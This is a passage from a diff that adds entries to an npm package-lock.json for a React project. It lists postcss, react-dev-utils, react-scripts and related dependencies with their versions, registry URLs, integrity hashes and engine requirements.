+        "@csstools/postcss-is-pseudo-class": "^2.0.7",
+        "@csstools/postcss-nested-calc": "^1.0.0",
+        "@csstools/postcss-normalize-display-values": "^1.0.1",
+        "@csstools/postcss-oklab-function": "^1.1.1",
+        "@csstools/postcss-progressive-custom-properties": "^1.3.0",
+        "@csstools/postcss-stepped-value-functions": "^1.0.1",
+        "@csstools/postcss-text-decoration-shorthand": "^1.0.0",
+        "@csstools/postcss-trigonometric-functions": "^1.0.2",
+        "@csstools/postcss-unset-value": "^1.0.2",
+        "autoprefixer": "^10.4.11",
+        "browserslist": "^4.21.3",
+        "css-blank-pseudo": "^3.0.3",
+        "css-has-pseudo": "^3.0.4",
+        "css-prefers-color-scheme": "^6.0.3",
+        "cssdb": "^7.0.1",
+        "postcss-attribute-case-insensitive": "^5.0.2",
+        "postcss-clamp": "^4.1.0",
+        "postcss-color-functional-notation": "^4.2.4",
+        "postcss-color-hex-alpha": "^8.0.4",
+        "postcss-color-rebeccapurple": "^7.1.1",
+        "postcss-custom-media": "^8.0.2",
+        "postcss-custom-properties": "^12.1.9",
+        "postcss-custom-selectors": "^6.0.3",
+        "postcss-dir-pseudo-class": "^6.0.5",
+        "postcss-double-position-gradients": "^3.1.2",
+        "postcss-env-function": "^4.0.6",
+        "postcss-focus-visible": "^6.0.4",
+        "postcss-focus-within": "^5.0.4",
+        "postcss-font-variant": "^5.0.0",
+        "postcss-gap-properties": "^3.0.5",
+        "postcss-image-set-function": "^4.0.7",
+        "postcss-initial": "^4.0.1",
+        "postcss-lab-function": "^4.2.1",
+        "postcss-logical": "^5.0.4",
+        "postcss-media-minmax": "^5.0.0",
+        "postcss-nesting": "^10.2.0",
+        "postcss-opacity-percentage": "^1.1.2",
+        "postcss-overflow-shorthand": "^3.0.4",
+        "postcss-page-break": "^3.0.4",
+        "postcss-place": "^7.0.5",
+        "postcss-pseudo-class-any-link": "^7.1.6",
+        "postcss-replace-overflow-wrap": "^4.0.0",
+        "postcss-selector-not": "^6.0.1",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-pseudo-class-any-link": {
+      "version": "7.1.6",
+      "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz",
+      "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-reduce-initial": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz",
+      "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-reduce-transforms": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz",
+      "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-replace-overflow-wrap": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz",
+      "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==",
+      "peerDependencies": {
+        "postcss": "^8.0.3"
+      }
+    },
+    "node_modules/postcss-selector-not": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz",
+      "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-selector-parser": {
+      "version": "6.0.10",
+      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
+      "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
+      "dependencies": {
+        "cssesc": "^3.0.0",
+        "util-deprecate": "^1.0.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/postcss-svgo": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz",
+      "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0",
+        "svgo": "^2.7.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/commander": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
+      "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/css-tree": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+      "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+      "dependencies": {
+        "mdn-data": "2.0.14",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/mdn-data": {
+      "version": "2.0.14",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+      "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+    },
+    "node_modules/postcss-svgo/node_modules/svgo": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz",
+      "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==",
+      "dependencies": {
+        "@trysound/sax": "0.2.0",
+        "commander": "^7.2.0",
+        "css-select": "^4.1.3",
+        "css-tree": "^1.1.3",
+        "csso": "^4.2.0",
+        "picocolors": "^1.0.0",
+        "stable": "^0.1.8"
+      },
+      "bin": {
+        "svgo": "bin/svgo"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/postcss-unique-selectors": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz",
+      "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.5"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-value-parser": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+      "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
+    },
+    "node_modules/prelude-ls": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
+      "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/pretty-bytes": {
+      "version": "5.6.0",
+      "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
+      "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==",
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/pretty-error": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz",
+      "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==",
+      "dependencies": {
+        "lodash": "^4.17.20",
+        "renderkid": "^3.0.0"
+      }
+    },
+    "node_modules/pretty-format": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-24.9.0.tgz",
+      "integrity": "sha512-00ZMZUiHaJrNfk33guavqgvfJS30sLYf0f8+Srklv0AMPodGGHcoHgksZ3OThYnIvOd+8yMCn0YiEOogjlgsnA==",
+      "dependencies": {
+        "@jest/types": "^24.9.0",
+        "ansi-regex": "^4.0.0",
+        "ansi-styles": "^3.2.0",
+        "react-is": "^16.8.4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/process-nextick-args": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+    },
+    "node_modules/promise": {
+      "version": "8.2.0",
+      "resolved": "https://registry.npmjs.org/promise/-/promise-8.2.0.tgz",
+      "integrity": "sha512-+CMAlLHqwRYwBMXKCP+o8ns7DN+xHDUiI+0nArsiJ9y+kJVPLFxEaSw6Ha9s9H0tftxg2Yzl25wqj9G7m5wLZg==",
+      "dependencies": {
+        "asap": "~2.0.6"
+      }
+    },
+    "node_modules/prompts": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+      "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+      "dependencies": {
+        "kleur": "^3.0.3",
+        "sisteransi": "^1.0.5"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/prop-types": {
+      "version": "15.8.1",
+      "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
+      "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
+      "dependencies": {
+        "loose-envify": "^1.4.0",
+        "object-assign": "^4.1.1",
+        "react-is": "^16.13.1"
+      }
+    },
+    "node_modules/proxy-addr": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+      "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+      "dependencies": {
+        "forwarded": "0.2.0",
+        "ipaddr.js": "1.9.1"
+      },
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/proxy-addr/node_modules/ipaddr.js": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+      "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/psl": {
+      "version": "1.9.0",
+      "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
+      "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="
+    },
+    "node_modules/punycode": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/q": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
+      "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==",
+      "engines": {
+        "node": ">=0.6.0",
+        "teleport": ">=0.2.0"
+      }
+    },
+    "node_modules/qs": {
+      "version": "6.13.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz",
+      "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==",
+      "dependencies": {
+        "side-channel": "^1.0.6"
+      },
+      "engines": {
+        "node": ">=0.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/querystringify": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+      "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="
+    },
+    "node_modules/queue-microtask": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+      "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/quick-lru": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+      "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/raf": {
+      "version": "3.4.1",
+      "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz",
+      "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==",
+      "dependencies": {
+        "performance-now": "^2.1.0"
+      }
+    },
+    "node_modules/randombytes": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+      "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+      "dependencies": {
+        "safe-buffer": "^5.1.0"
+      }
+    },
+    "node_modules/range-parser": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+      "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/raw-body": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz",
+      "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==",
+      "dependencies": {
+        "bytes": "3.1.2",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "unpipe": "1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/raw-body/node_modules/bytes": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/raw-body/node_modules/iconv-lite": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react": {
+      "version": "16.13.1",
+      "resolved": "https://registry.npmjs.org/react/-/react-16.13.1.tgz",
+      "integrity": "sha512-YMZQQq32xHLX0bz5Mnibv1/LHb3Sqzngu7xstSM+vrkE5Kzr9xE0yMByK5kMoTK30YVJE61WfbxIFFvfeDKT1w==",
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1",
+        "prop-types": "^15.6.2"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react-app-polyfill": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz",
+      "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==",
+      "dependencies": {
+        "core-js": "^3.19.2",
+        "object-assign": "^4.1.1",
+        "promise": "^8.1.0",
+        "raf": "^3.4.1",
+        "regenerator-runtime": "^0.13.9",
+        "whatwg-fetch": "^3.6.2"
+      },
+      "engines": {
+        "node": ">=14"
+      }
+    },
+    "node_modules/react-dev-utils": {
+      "version": "12.0.1",
+      "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz",
+      "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==",
+      "dependencies": {
+        "@babel/code-frame": "^7.16.0",
+        "address": "^1.1.2",
+        "browserslist": "^4.18.1",
+        "chalk": "^4.1.2",
+        "cross-spawn": "^7.0.3",
+        "detect-port-alt": "^1.1.6",
+        "escape-string-regexp": "^4.0.0",
+        "filesize": "^8.0.6",
+        "find-up": "^5.0.0",
+        "fork-ts-checker-webpack-plugin": "^6.5.0",
+        "global-modules": "^2.0.0",
+        "globby": "^11.0.4",
+        "gzip-size": "^6.0.0",
+        "immer": "^9.0.7",
+        "is-root": "^2.1.0",
+        "loader-utils": "^3.2.0",
+        "open": "^8.4.0",
+        "pkg-up": "^3.1.0",
+        "prompts": "^2.4.2",
+        "react-error-overlay": "^6.0.11",
+        "recursive-readdir": "^2.2.2",
+        "shell-quote": "^1.7.3",
+        "strip-ansi": "^6.0.1",
+        "text-table": "^0.2.0"
+      },
+      "engines": {
+        "node": ">=14"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/react-dev-utils/node_modules/escape-string-regexp": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+      "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/loader-utils": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz",
+      "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==",
+      "engines": {
+        "node": ">= 12.13.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/react-dom": {
+      "version": "16.13.1",
+      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz",
+      "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==",
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1",
+        "prop-types": "^15.6.2",
+        "scheduler": "^0.19.1"
+      },
+      "peerDependencies": {
+        "react": "^16.13.1"
+      }
+    },
+    "node_modules/react-error-overlay": {
+      "version": "6.0.11",
+      "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz",
+      "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg=="
+    },
+    "node_modules/react-is": {
+      "version": "16.13.1",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
+      "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
+    },
+    "node_modules/react-refresh": {
+      "version": "0.11.0",
+      "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
+      "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react-scripts": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz",
+      "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==",
+      "dependencies": {
+        "@babel/core": "^7.16.0",
+        "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3",
+        "@svgr/webpack": "^5.5.0",
+        "babel-jest": "^27.4.2",
+        "babel-loader": "^8.2.3",
+        "babel-plugin-named-asset-import": "^0.3.8",
+        "babel-preset-react-app": "^10.0.1",
+        "bfj": "^7.0.2",
+        "browserslist": "^4.18.1",
+        "camelcase": "^6.2.1",
+        "case-sensitive-paths-webpack-plugin": "^2.4.0",
+        "css-loader": "^6.5.1",
+        "css-minimizer-webpack-plugin": "^3.2.0",
+        "dotenv": "^10.0.0",
+        "dotenv-expand": "^5.1.0",
+        "eslint": "^8.3.0",
+        "eslint-config-react-app": "^7.0.1",
+        "eslint-webpack-plugin": "^3.1.1",
+        "file-loader": "^6.2.0",
+        "fs-extra": "^10.0.0",
+        "html-webpack-plugin": "^5.5.0",
+        "identity-obj-proxy": "^3.0.0",
+        "jest": "^27.4.3",
+        "jest-resolve": "^27.4.2",
+        "jest-watch-typeahead": "^1.0.0",
+        "mini-css-extract-plugin": "^2.4.5",
+        "postcss": "^8.4.4",
+        "postcss-flexbugs-fixes": "^5.0.2",
+        "postcss-loader": "^6.2.1",
+        "postcss-normalize": "^10.0.1",
+        "postcss-preset-env": "^7.0.1",
+        "prompts": "^2.4.2",
+        "react-app-polyfill": "^3.0.0",
+        "react-dev-utils": "^12.0.1",
+        "react-refresh": "^0.11.0",
+        "resolve": "^1.20.0",
+        "resolve-url-loader": "^4.0.0",
+        "sass-loader": "^12.3.0",
+        "semver": "^7.3.5",
+        "source-map-loader": "^3.0.0",
+        "style-loader": "^3.3.1",
+        "tailwindcss": "^3.0.2",
+        "terser-webpack-plugin": "^5.2.5",
+        "webpack": "^5.64.4",
+        "webpack-dev-server": "^4.6.0",
+        "webpack-manifest-plugin": "^4.0.2",
+        "workbox-webpack-plugin": "^6.4.1"
+      },
+      "bin": {
+        "react-scripts": "bin/react-scripts.js"
+      },
